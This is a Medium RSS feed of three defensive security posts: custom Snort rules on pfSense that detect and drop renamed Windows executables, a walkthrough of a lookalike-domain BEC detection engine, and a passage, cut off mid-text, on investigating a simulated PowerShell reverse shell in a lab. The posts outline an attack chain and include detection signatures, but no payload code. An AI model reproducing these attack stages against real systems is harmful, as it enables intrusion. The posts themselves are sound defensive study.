<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Allen Ace on Medium]]></title>
        <description><![CDATA[Stories by Allen Ace on Medium]]></description>
        <link>https://medium.com/@allenace?source=rss-bb0151916ce2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*h4B7vPcsx3Iaap_VhWY0iA.png</url>
            <title>Stories by Allen Ace on Medium</title>
            <link>https://medium.com/@allenace?source=rss-bb0151916ce2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 22:49:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@allenace/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Beyond the File Extension: How Snort Detected and Blocked a Renamed Windows Payload]]></title>
            <link>https://infosecwriteups.com/beyond-the-file-extension-how-snort-detected-and-blocked-a-renamed-windows-payload-6d9b45ac26cf?source=rss-bb0151916ce2------2</link>
            <guid isPermaLink="false">https://medium.com/p/6d9b45ac26cf</guid>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[snort]]></category>
            <category><![CDATA[pfsense]]></category>
            <category><![CDATA[threat-detection]]></category>
            <dc:creator><![CDATA[Allen Ace]]></dc:creator>
            <pubDate>Fri, 06 Nov 2026 10:33:14 GMT</pubDate>
            <atom:updated>2026-11-06T10:33:14.756Z</atom:updated>
            <content:encoded><![CDATA[<p>Building and validating custom Snort IDS/IPS rules on pfSense through controlled attack simulation and signature-based network inspection.</p><h3>Introduction: When the Filename Stops Telling the Truth</h3><p>I had just finished configuring a Snort rule to detect HTTP downloads containing .exe in their request URI on my home lab network.</p><p>Rather than stopping at a successful detection, I wanted to understand how easily the rule could be bypassed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pQl9mKlDxoxCW0fT0Gndsg.png" /><figcaption>Cover Image</figcaption></figure><p>I took the same Windows executable test payload, changed its extension from .exe to .txt, and attempted to download it from the victim machine.</p><p>The filename-based detection did exactly what I expected: nothing.</p><p>The rule was designed to identify .exe in an HTTP request URI. Since the extension had changed, the request no longer matched the detection condition.</p><p>However, another Snort event appeared in pfSense shortly afterward:</p><p><strong>HTTP content contains MZ signature — blocked.</strong></p><p>This time, the connection was not simply detected. The HTTP transfer was interrupted, and the event appeared in pfSense’s Blocked tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rdPoDfT0ePvD_Z2IQM6GOw.png" /><figcaption><em>Figure 1: Snort IPS blocking an HTTP transfer after identifying the MZ signature in the payload, despite the changed filename extension.</em></figcaption></figure><p>The difference was that the second rule was not looking at what the file was called. It was inspecting what the file contained.</p><p>Windows Portable Executable (PE) files typically begin with a DOS header containing the two-byte MZ signature (4D 5A in hexadecimal).</p><p>Changing a filename from .exe to .txt does not change the underlying file header.</p><p>This experiment highlighted an important detection engineering principle:</p><p><strong>Detecting what a file is called is not the same as detecting what a file actually contains.</strong></p><p>That became the central idea behind this exercise.</p><h3>1. The Lab Environment: Extending Firewall Visibility with Snort</h3><p>Most people initially think of pfSense as a network firewall responsible for controlling traffic between network segments.</p><p>However, integrating Snort provides another layer of network visibility through intrusion detection and prevention.</p><p>Snort is an open-source network intrusion detection and prevention system (IDS/IPS) that inspects network traffic against configurable detection rules.</p><p>I deployed Snort on the ECORP interface of my Proxmox-based home lab, which contains dedicated attacker, target, and monitoring network segments.</p><p>My objective was not simply to install Snort or enable predefined signatures.</p><p>I wanted to investigate a more practical question:</p><blockquote><em>Can I develop custom detection rules that identify specific network behaviors, generate corresponding traffic, and demonstrate through actual telemetry that those rules work?</em></blockquote><p>This distinction matters.</p><p>Writing a detection rule is one thing. Generating traffic that matches it, observing the resulting alert, and validating whether the intended prevention mechanism actually works are different exercises.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1aIEFS1aNYWfLIS_X4tk_A.png" /><figcaption><em>Figure 2: Home lab topology showing the attacker environment, pfSense/Snort inspection point, and target network segments.</em></figcaption></figure><p>The exercise focused on three detection opportunities:</p><ol><li>Outbound ICMP traffic associated with host discovery.</li><li>HTTP requests containing executable file extensions.</li><li>HTTP payloads containing the Windows MZ signature.</li></ol><p>Each rule addressed a different aspect of network inspection.</p><h3>2. Custom Snort Rules: Three Detection Opportunities</h3><p>Rather than relying entirely on generic signatures, I developed three custom Snort rules to investigate specific network behaviors.</p><h3>2.1 Outbound ICMP — Detecting Host Discovery Activity</h3><p>The first rule was designed to identify outbound ICMP traffic.</p><pre>alert icmp HOME_NET any -&gt; EXTERNAL_NET any (msg:&quot;Ping detected&quot;; sid:10000001; rev:1;)</pre><p>At first glance, this is a relatively simple rule.</p><p>It generates an alert whenever ICMP traffic travels from the configured HOME_NET to EXTERNAL_NET.</p><p>ICMP echo requests are commonly used during host discovery and network reachability testing.</p><p>This behavior can be investigated in the context of MITRE ATT&amp;CK <strong>T1018 — Remote System Discovery</strong>, although an individual ping does not automatically establish malicious intent.</p><p>I used this rule as an initial validation exercise to confirm that Snort was observing the expected network traffic.</p><p><strong>Result:</strong> The rule generated alerts consistently during testing, with four successful detections across four test attempts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wANRm6w5HHLDLsmoPodG5w.png" /><figcaption><em>Figure 3: Repeated ICMP detection events in pfSense, showing the GID identifier and associated traffic details.</em></figcaption></figure><p>The repeated alerts provided evidence that Snort was inspecting the expected traffic on the configured interface.</p><h3>2.2 HTTP URI Inspection — Detecting Executable Downloads</h3><p>The second rule focused on identifying executable file extensions in HTTP request URIs.</p><pre>alert tcp any any -&gt; any 80 (msg:&quot;HTTP URI contains .exe&quot;; content:&quot;|2e|exe&quot;; nocase; http_uri; sid:1000002; rev:1;)</pre><p>HTTP-based payload delivery is a common behavior in which attackers transfer additional tools or executable components into a target environment.</p><p>This activity can be investigated in the context of <strong>MITRE ATT&amp;CK T1105 — Ingress Tool Transfer</strong>.</p><p>The rule searches the HTTP URI for .exe, regardless of letter casing.</p><p>For validation, I hosted a test payload on an isolated Kali Linux machine and initiated a download from the Windows victim endpoint.</p><p><strong>Result:</strong> Snort successfully identified the HTTP request containing the .exe extension and generated the corresponding alert.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vo_jPUS5c-AU9ttV_MRLjA.png" /><figcaption><em>Figure 4: Snort alert generated after detecting an HTTP request containing the </em><em>.exe extension.</em></figcaption></figure><p>The test confirmed that the rule could identify this specific delivery pattern.</p><p>However, it also exposed an obvious limitation: the detection depended on the filename extension appearing in the HTTP request.</p><p>Changing .exe to .txt was enough to bypass this particular rule.</p><p>That observation motivated the third detection.</p><h3>2.3 The MZ Signature — Detecting What the Filename Hides</h3><p>The third rule was designed to inspect the actual HTTP response content rather than relying on the requested filename.</p><pre>drop tcp any 80 -&gt; any any (msg:&quot;IPS: HTTP content contains MZ signature - blocked&quot;; file_data; content:&quot;|4D 5A|&quot;; depth:2; sid:1000013; rev:1;)</pre><p>The important difference is the use of file_data.</p><p>Instead of searching the HTTP URI, Snort inspects the HTTP file-data buffer and looks for the MZ signature at the beginning of the content.</p><p>The rule uses several important components:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dmJh_4vFlPpVi6_Avi1_lg.png" /><figcaption><em>Figure 5: Rule components.</em></figcaption></figure><p>This approach is more resilient to simple filename changes because it examines the transferred content rather than the extension.</p><p>However, it is important to understand what this detection actually establishes.</p><p>The MZ signature identifies a characteristic Windows executable header. It does not establish that the file is malicious. Legitimate Windows executables also contain this signature.</p><p>It is also dependent on Snort being able to inspect the HTTP payload. Encrypted HTTPS traffic cannot be inspected this way without an appropriate decryption mechanism.</p><p><strong>Result:</strong> The test generated a prevention event rather than merely an alert. The HTTP transfer was interrupted, and the event was recorded in pfSense’s Blocked tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8-0Mtug-1Cun_AsNMPrHyA.png" /><figcaption><em>Figure 6: Custom Snort IPS rule configured to identify the MZ signature in HTTP file data and drop matching traffic.</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rdPoDfT0ePvD_Z2IQM6GOw.png" /><figcaption>Figure 7: Blocked MZ Signature Event</figcaption></figure><p>This was the most interesting result of the experiment.</p><p>The filename-based rule had a limitation. The content-based rule addressed that limitation by examining a different property of the transferred file.</p><h3>3. Understanding How the IPS Block Actually Happened</h3><p>There was another aspect of this experiment I wanted to verify before documenting the result.</p><p>pfSense’s Snort integration supports different traffic-blocking approaches, and understanding which mechanism is active matters when interpreting an IPS result.</p><p>Two approaches are particularly relevant.</p><h3>Legacy Mode with Block Offenders</h3><p>In this configuration, Snort monitors traffic and can add offending source IP addresses to a firewall block table.</p><p>This is a broader response mechanism because blocking an IP address can affect more than the individual connection that triggered the alert.</p><h3>Inline IPS Mode</h3><p>In inline IPS mode, Snort evaluates traffic as it passes through the inspection point.</p><p>A matching drop rule can prevent the relevant packets from being forwarded.</p><p>This provides more granular traffic prevention than simply blocking an entire source IP address.</p><p>For this experiment, I returned to the pfSense Snort interface configuration and verified that the ECORP interface was operating in <strong>Inline IPS Mode</strong>.</p><p>That verification was important because I wanted to establish that the MZ-signature rule was responsible for dropping the matching traffic, rather than attributing the result to a separate source-IP blocking mechanism.</p><p>This is a small but important distinction.</p><p>There is a difference between observing that traffic was blocked and understanding the mechanism responsible for blocking it.</p><p>For a detection engineering exercise, the latter is just as important as the former.</p><h3>4. Detection Results at a Glance</h3><p>The experiment produced three different detection outcomes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*44oiZpaZZmZxD44koszUVA.png" /><figcaption><em>Figure 8: </em>Detection Results overview</figcaption></figure><p>The results demonstrate three different detection opportunities, ranging from basic network visibility to content-based traffic prevention.</p><p>More importantly, each result was evaluated against generated traffic rather than being treated as successful simply because a rule had been configured.</p><h3>5. What the Experiment Actually Demonstrated</h3><p>The project provided several practical lessons.</p><h3>5.1 Filename-Based Detection Has Limitations</h3><p>The .exe URI rule successfully identified executable downloads containing the expected extension.</p><p>However, changing the extension bypassed that particular detection.</p><p>The MZ-signature rule demonstrated an alternative approach by examining the HTTP payload itself.</p><p>This does not mean content inspection is a complete solution to executable detection. It demonstrates why detection engineering should consider multiple properties of network traffic rather than relying exclusively on filenames.</p><h3>5.2 Detection Rules Must Be Validated Against Real Traffic</h3><p>A rule that looks correct in a configuration editor is not necessarily a working detection.</p><p>Each validated rule was tested against generated traffic, and the resulting events were examined in pfSense.</p><p>This allowed me to distinguish between configured detections and detections that had actually been triggered.</p><h3>5.3 Alerting and Prevention Are Different Outcomes</h3><p>An IDS alert provides visibility into potentially suspicious activity.</p><p>An IPS drop rule can take an additional step by preventing matching traffic from passing through the inspection point.</p><p>Understanding the configured blocking mechanism was essential to accurately interpreting the result.</p><h3>5.4 Detection Coverage Should Be Evaluated Honestly</h3><p>Not every rule in the wider lab environment was fully validated.</p><p>I documented the tested behaviors separately from detection ideas that still require additional testing.</p><p>I believe this is important when building a cybersecurity portfolio: an untested detection should not be presented as a confirmed capability.</p><h3>6. Limitations and Further Improvements</h3><p>Although the experiment produced the expected results, there are limitations worth acknowledging.</p><ul><li>The MZ signature is not sufficient to establish that a file is malicious. Legitimate Windows executables also contain this signature.</li><li>HTTP payload inspection does not automatically provide visibility into encrypted HTTPS transfers.</li><li>URI-based detection can be bypassed through filename changes, alternative delivery methods, or other protocol behaviors.</li><li>ICMP traffic is not inherently malicious and should be interpreted within its network context.</li><li>Additional testing is necessary to evaluate false positives, protocol variations, and detection coverage.</li><li>The exercise was performed in an isolated laboratory environment and should not be interpreted as a comprehensive production deployment assessment.</li></ul><p>Future improvements could include combining file-content inspection with additional indicators, testing alternative payload delivery mechanisms, and evaluating how multiple detection signals can improve confidence before prevention actions are taken.</p><h3>7. The Bigger Lesson: Detection Engineering Is About Evidence</h3><p>One of the most valuable aspects of this project was not simply getting Snort to generate an alert or block a connection.</p><p>It was understanding why the detection worked, what its limitations were, and whether the observed outcome matched the intended rule behavior.</p><p>The experiment reinforced three principles I consider important in detection engineering:</p><ol><li><strong>Test assumptions:</strong> A detection that relies on a filename can fail when the filename changes.</li><li><strong>Validate behavior:</strong> Configured rules should be tested against actual traffic, with their resulting events examined.</li><li><strong>Understand the mechanism:</strong> An alert, a firewall block, and an inline IPS packet drop are not interchangeable outcomes.</li></ol><p>The objective is not to create as many detection rules as possible. It is to develop detections whose behavior can be explained, tested, and supported by evidence.</p><h3>8. Try It Yourself</h3><p>The complete project, including the lab configuration, custom Snort rules, screenshots, and investigation notes, is available on GitHub:</p><p><a href="https://github.com/0x0allenace/snort-pfsense-ids-ips"><strong>Snort IDS/IPS Deployment on pfSense — GitHub Repository</strong></a></p><p>If you are building your own detection engineering portfolio, I would encourage you to adopt the same approach:</p><p>Don’t just write the rule.</p><p>Trigger it. Inspect the resulting event. Validate the response mechanism. Document the evidence.</p><p>Because <strong>“the rule generated an alert” and “I understand exactly why it generated that alert” are two very different levels of technical competence.</strong></p><blockquote><em>I’m a SOC Analyst and Detection Engineer interested in network intrusion detection, threat hunting, email security, and behavioral anomaly research. I build practical security projects to explore how detection engineering, investigation, and defensive validation work together.</em></blockquote><p><strong>Explore more of my work:</strong></p><p><strong><em>Contact: </em></strong><a href="https://github.com/0x0allenace/SOC-Analyst-Portfolio?tab=readme-ov-file"><strong><em>Portfolio</em></strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6d9b45ac26cf" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/beyond-the-file-extension-how-snort-detected-and-blocked-a-renamed-windows-payload-6d9b45ac26cf">Beyond the File Extension: How Snort Detected and Blocked a Renamed Windows Payload</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Catching a Lookalike-Domain BEC Email: A Walkthrough of My Open-Source Detection Engine]]></title>
            <link>https://infosecwriteups.com/catching-a-lookalike-domain-bec-email-a-walkthrough-of-my-open-source-detection-engine-714af49c2a53?source=rss-bb0151916ce2------2</link>
            <guid isPermaLink="false">https://medium.com/p/714af49c2a53</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[business-email-compromise]]></category>
            <dc:creator><![CDATA[Allen Ace]]></dc:creator>
            <pubDate>Tue, 20 Oct 2026 15:26:33 GMT</pubDate>
            <atom:updated>2026-10-20T15:35:32.636Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Upload an email, read the evidence, and see why each rule fired</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i-xGiIBz5EZOrq2HnGq9Bw.png" /><figcaption>cover image</figcaption></figure><p>Business Email Compromise rarely looks like an attack. This message is titled “Invoice Update.” It comes from “Bob Supplier,” a contact the recipient already trusts, and the display name is exactly right. Only the address is off:</p><p>bob@supplier.com bob@supp1ier.com</p><p>The second one swaps the letter l for the digit 1. In a busy inbox, almost nobody will notice.</p><p>This walkthrough shows how my open-source BEC detection engine analyzes this message from start to finish, using screenshots from a local run. The email is a synthetic sample built for testing, and no real mail was used.</p><h3>Step 1: Start the engine</h3><p>The engine runs as a FastAPI service with PostgreSQL, started with Docker Compose:</p><pre>docker compose up -d --build<br>docker compose exec api python -m src.database.init_db<br>curl http://localhost:8000/health</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CzRyeYy0mOeuz1fKrNGeQw.png" /><figcaption>swagger UI showing the endpoint list</figcaption></figure><p>The API has five endpoints: a health check, a readiness check, a list of past analyses, retrieval of one analysis by ID, and /analyze, which takes an uploaded .eml file and stores the result in PostgreSQL. Every analysis can be retrieved later.</p><h3>Step 2: Describe what normal looks like</h3><p>A detection engine cannot call something unusual without knowing what usual is. The request includes a baseline.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oEFysAqGN2Dhq16Nuoj9xg.png" /><figcaption>analyze request form</figcaption></figure><p>For this run I supplied a known domain (supplier.com) and a known display name (Bob Supplier). The form also accepts known participants, known sending hosts, known IP addresses, and a behavioral baseline, all optional.</p><blockquote>This is a real design constraint, and I want to state it plainly: right now the caller supplies the baseline. There is no mailbox integration yet, so the engine cannot build it automatically. That is high on my roadmap.</blockquote><h3>Step 3: Analyze the email</h3><p>Uploading the file and clicking Execute sends the same request you could make from the command line:</p><pre>curl -X &#39;POST&#39; &#39;http://localhost:8000/analyze&#39; \<br>  -F &#39;email_file=@supplier-lookalike.eml;type=message/rfc822&#39; \<br>  -F &#39;known_domain=supplier.com&#39; \<br>  -F &#39;known_display_name=Bob Supplier&#39; \<br>  -F &#39;known_behavior={}&#39;</pre><blockquote>The server answers with a 200 and a JSON result for each detection rule.</blockquote><h3>Step 4: Read the evidence</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TPAjjTVLx_IrdFXTpyg4eQ.png" /><figcaption>curl command and the JSON response showing BEC-001 and BEC-002</figcaption></figure><p>The first rule, <strong>BEC-001 (Lookalike Domain)</strong>, matched with HIGH severity and a risk score of 100. It explains itself with three indicators:</p><ul><li>Display name matches a known participant</li><li>Sender domain differs from the known domain</li><li>Sender domain is visually similar to the known domain</li></ul><p>It also returns the evidence it compared: the observed domain supp1ier.com against the known domain supplier.com. An analyst does not have to trust a score. The two strings are right there.</p><p>The second rule, <strong>BEC-002 (Reply-To Mismatch)</strong>, did not match, and its score is 0. The reason is in the response: the From address and the Reply-To address are the same lookalike address, bob@supp1ier.com. There is no mismatch to find, so the rule stays quiet. Each rule tests one specific thing, and a rule that stays silent when its condition is absent is the behavior I want.</p><h3>Step 5: The full picture</h3><p>The JSON is good for machines. For a human triaging at speed, I format it as a report.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BFhlbTGuLe4YB9tnSYtI-Q.png" /><figcaption>terminal report showing 5 of 8 rules matched</figcaption></figure><p>Five of the eight rules matched:</p><ul><li><strong>BEC-001, Lookalike Domain (HIGH, 100):</strong> the supp1ier.com domain, as above</li><li><strong>BEC-003, Thread Participant Anomaly (HIGH, 30):</strong> a participant who is not in the known conversation</li><li><strong>BEC-004, Authentication Anomaly (HIGH, 30):</strong> SPF, DKIM, and DMARC all failed</li><li><strong>BEC-006, Conversation Hijacking (HIGH, 20):</strong> the message carries existing thread headers, but the sender is not a known participant</li><li><strong>BEC-007, Behavioral Communication Anomaly (MEDIUM, 20):</strong> the message was sent outside historically observed communication hours</li></ul><p>Each rule scores independently, and every score is capped at 100. I treat the score as a way to prioritize, not as a verdict. The indicators and evidence are what an analyst should read.</p><p>Five independent rules pointing the same way is more convincing than one. A single signal can be a false positive. A lookalike domain, a failed authentication, an unknown participant inside an existing thread, and an odd sending time all at once is a pattern worth stopping.</p><h3>What an analyst does next</h3><ol><li>Hold the message. Do not reply, click, or pay anything.</li><li>Verify the request through a channel you already trust, such as a phone number you already have for the supplier.</li><li>Check the domain’s registration age and look for other messages from supp1ier.com in the mail logs.</li><li>Block the domain and search the SIEM for other recipients.</li></ol><h3>What this example does not prove</h3><p>I would rather say this than have someone discover it:</p><ul><li><strong>This sample is easy on purpose.</strong> The domain is one character off, and all three authentication checks fail. It is a test case, not evidence of real-world accuracy.</li><li><strong>A compromised real mailbox is much harder.</strong> In that case the message passes SPF, DKIM, and DMARC and comes from the right domain, so BEC-001 and BEC-004 stay quiet. The behavioral and content rules would have to carry the detection, and those are the least proven.</li><li><strong>I have not yet measured precision, recall, or false-positive rates</strong> for the rules on real or labeled data. The thresholds are reasoned defaults, not tuned results.</li><li><strong>Baselines are supplied by the caller,</strong> and a poisoned baseline can corrupt what the engine thinks is normal.</li><li><strong>Domain similarity is string-based.</strong> It catches the 1-for-l trick. It will not catch every kind of impersonation.</li></ul><p>The next steps are a labeled evaluation dataset, published results, and mailbox integration so baselines build themselves.</p><h3>Try it yourself</h3><p>The engine is open source and MIT licensed. It has more than 650 automated tests, and the API, database, and SIEM output (Splunk, Elastic, and Wazuh) run from the same Docker setup shown above.</p><p><a href="https://github.com/0x0allenace/email-conversation-integrity-detection">https://github.com/0x0allenace/email-conversation-integrity-detection</a></p><p>If you handle BEC cases in a SOC or at an MSSP, I would like to hear what you see most, what you trust in a detection, and what is missing here.</p><p>This project is for defensive security research and authorized testing only. Analyze only email communications you are authorized to inspect.</p><p><strong><em>Contact: </em></strong><a href="https://github.com/0x0allenace/SOC-Analyst-Portfolio?tab=readme-ov-file"><strong><em>Portfolio</em></strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=714af49c2a53" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/catching-a-lookalike-domain-bec-email-a-walkthrough-of-my-open-source-detection-engine-714af49c2a53">Catching a Lookalike-Domain BEC Email: A Walkthrough of My Open-Source Detection Engine</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Purple Team Simulation: Detecting and Investigating a Simulated PowerShell Reverse Shell]]></title>
            <link>https://infosecwriteups.com/purple-team-simulation-detecting-and-investigating-a-simulated-powershell-reverse-shell-81029b69b946?source=rss-bb0151916ce2------2</link>
            <guid isPermaLink="false">https://medium.com/p/81029b69b946</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <dc:creator><![CDATA[Allen Ace]]></dc:creator>
            <pubDate>Sun, 30 Aug 2026 10:14:40 GMT</pubDate>
            <atom:updated>2026-08-30T10:14:40.667Z</atom:updated>
            <content:encoded><![CDATA[<p>A hands-on Blue Team investigation using Elastic Security, Splunk, Sysmon, and Wireshark</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2JfPxM_HJtTTQSsplvFJgQ.png" /></figure><p>SOC investigations rarely begin with a clear picture of what happened. More often, an analyst starts with a single suspicious signal, an unusual network connection, an unexpected PowerShell process, or an unfamiliar executable , and has to work outward from there.</p><p>The real challenge is transforming those isolated signals into a coherent, evidence-backed explanation of what occurred, how it unfolded, and whether the available telemetry was sufficient to detect it in the first place.</p><blockquote><strong>That was the core objective of Purple Team Simulation.</strong></blockquote><p>In this controlled lab exercise, I simulated a PowerShell-based reverse shell attack against a Windows endpoint, then stepped into the Blue Team role to investigate the resulting telemetry using Elastic Security, Splunk, Sysmon, and Wireshark. The offensive activity was not the end goal, it was a means to generate realistic telemetry that could be investigated, correlated, and converted into detection opportunities.</p><h4><strong>Overview</strong></h4><p>The simulated attack chain was deliberately straightforward:</p><ul><li>Initial execution through a batch file</li><li>PowerShell execution</li><li>Remote payload retrieval</li><li>Reverse shell establishment</li><li>Command execution</li><li>Basic host reconnaissance</li></ul><p>The investigation that followed used endpoint and network telemetry to reconstruct the full sequence of activity.</p><p>The high-level workflow looked like this:</p><pre>Controlled Attack → Telemetry Generation → SIEM Investigation<br>→ Process Correlation → Network Analysis → Attack Reconstruction<br>→ Detection Engineering</pre><h4><strong>Lab Environment</strong></h4><p>All activity was conducted within an isolated, authorized laboratory environment. The core components were:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vy50Ey2lOrYeP3iqbDD3AA.png" /><figcaption><em>lab-architecture</em></figcaption></figure><p>The Windows endpoint generated process and network telemetry through Sysmon and PowerShell logging. Wireshark captured the network traffic produced during the exercise, while Elastic Security and Splunk were used independently to investigate the endpoint telemetry.</p><h4><strong>Simulating the Attack</strong></h4><p>The simulation began with a batch file that initiated PowerShell activity and retrieved a payload from the attack system. The payload then established a reverse shell connection back to the lab environment. Once the shell was active, a set of basic reconnaissance commands was executed against the Windows endpoint:</p><pre>whoami<br>ipconfig<br>netstat<br>systeminfo</pre><p>These commands were intentionally simple. Their purpose was to generate recognizable telemetry associated with system and network discovery — the kind of activity that should raise flags in a well-monitored environment.</p><h4><strong>The First Investigation: Elastic Security</strong></h4><p>With the simulation complete, I approached the incident from a Blue Team perspective.</p><p>The investigation started with the known suspicious IP address of the lab attack system and expanded outward from there, searching for related activity across the available telemetry. The key areas of focus were:</p><ul><li>Suspicious IP activity</li><li>PowerShell execution events</li><li>Sysmon process creation records</li><li>Process IDs and parent-child relationships</li><li>Command-line arguments</li><li>Network connection events</li><li>Timeline reconstruction</li></ul><p>One of the most productive approaches was following the process breadcrumbs. Rather than treating each log event as an isolated data point, I used process IDs and parent-process relationships to move systematically from one event to the next, gradually assembling individual entries into a connected execution chain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XhIIAUA_voIh0-eebm2dZg.png" /><figcaption><em>02-attack-execution.png</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_8WY1qAz6gQTPrTiKK1x-Q.png" /><figcaption><em>reverse-shell.png</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yNrlnTk6cXfvQZdUCKhkjw.png" /><figcaption><em>elastic-initial-search</em></figcaption></figure><h4><strong>Reconstructing the Process Chain</strong></h4><p>The investigation revealed the following execution sequence:</p><pre>Batch File<br>    ↓<br>PowerShell<br>    ↓<br>Remote Payload Download<br>    ↓<br>shell.bat<br>    ↓<br>PowerShell Reverse Shell<br>    ↓<br>cmd.exe<br>    ├── whoami<br>    ├── ipconfig<br>    ├── netstat<br>    └── systeminfo</pre><p>The important point here is that no single event told the full story on its own. PowerShell, for example, is a standard and legitimate Windows administration tool. But PowerShell activity that correlates with suspicious network communication, remote payload retrieval, and subsequent command execution is a very different picture — and that context is what the investigation aimed to surface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zz9rYnNcWNhv_Pe05cGUfA.png" /><figcaption><em>powershell-process-event</em></figcaption></figure><h4><strong>Investigating with Splunk</strong></h4><p>The same evidence was then investigated using Splunk, providing an opportunity to examine how the same telemetry could be approached through a different SIEM platform.</p><p>The Splunk investigation focused on Sysmon process creation events, PowerShell activity, suspicious network connections, process relationships, and SPL-based investigation queries. The process-tree view was particularly useful here , it offered a consolidated view of parent and child processes that reduced the manual pivoting needed to reconstruct the execution chain.</p><p>The exercise demonstrated that different SIEM platforms can offer different investigation workflows while working from the same underlying telemetry — a useful reminder that platform fluency across multiple tools is a meaningful capability for any SOC analyst.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tOjTcOXQSQtfU_8SeP4YzQ.png" /><figcaption><em>splunk-investigation</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j1-NbaJqDUkHn2TDbfHhsA.png" /><figcaption><em>splunk-process-tree</em></figcaption></figure><h4>Network Forensics with Wireshark</h4><p>Endpoint telemetry told one side of the story. The packet capture told another.</p><p>I opened the PCAP generated during the exercise in Wireshark and filtered for traffic associated with the suspicious IP address. The analysis focused on:</p><ul><li>Suspicious IP traffic</li><li>HTTP payload delivery</li><li>TCP/1337 reverse shell traffic</li><li>TCP stream reconstruction</li><li>Command execution visible within captured streams</li><li>Payload extraction</li></ul><p>Because the lab attack system also handled other functions, including Elastic service traffic — that traffic was excluded during analysis to isolate only the activity relevant to the simulated attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7CHd_JIPB3R8wcbscnVvAg.png" /><figcaption><em>wireshark-ip-filter</em></figcaption></figure><h4><strong>Following the TCP Streams</strong></h4><p>TCP stream reconstruction was one of the most valuable features during the network phase of the investigation.</p><p>Following the relevant HTTP stream allowed the payload transfer to be examined directly within the captured traffic. The PCAP also contained traffic associated with the reverse shell session, providing another way to observe the relationship between what happened at the endpoint level and what traveled across the network.</p><p>The packet capture ultimately served as an independent validation source for the SIEM investigation, a second evidentiary layer that either supported or challenged the endpoint findings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mnme7bK0-UB3Ldtm8MHjsw.png" /><figcaption><em>http-stream</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*ixmkGE9IvaOjNyds-um3cg.png" /><figcaption><em>reverse-shell-stream</em></figcaption></figure><h4><strong>Correlating the Evidence</strong></h4><p>The most valuable aspect of the exercise was not any individual tool. It was the ability to correlate evidence across multiple sources simultaneously.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zPTndRni5yL3wOu895SNJw.png" /></figure><p>The investigation moved through the following chain:</p><pre>Suspicious Indicator → Process → Parent Process → PowerShell Activity<br>→ Network Connection → Payload Transfer → Command Execution → Reconnaissance</pre><p>This reflects an important principle in SOC investigations: no single event is sufficient to explain an incident. Confidence in a finding grows when multiple independent evidence sources tell a consistent story.</p><h4><strong>Detection Engineering</strong></h4><p>Once the activity had been fully reconstructed, I turned to the question of how that behavior could be detected going forward.</p><p>Detection logic was developed for both Elastic and Splunk across two primary behavioral categories.</p><h4><strong>PowerShell Network Activity</strong></h4><p>The first detection focused on PowerShell execution followed by external network 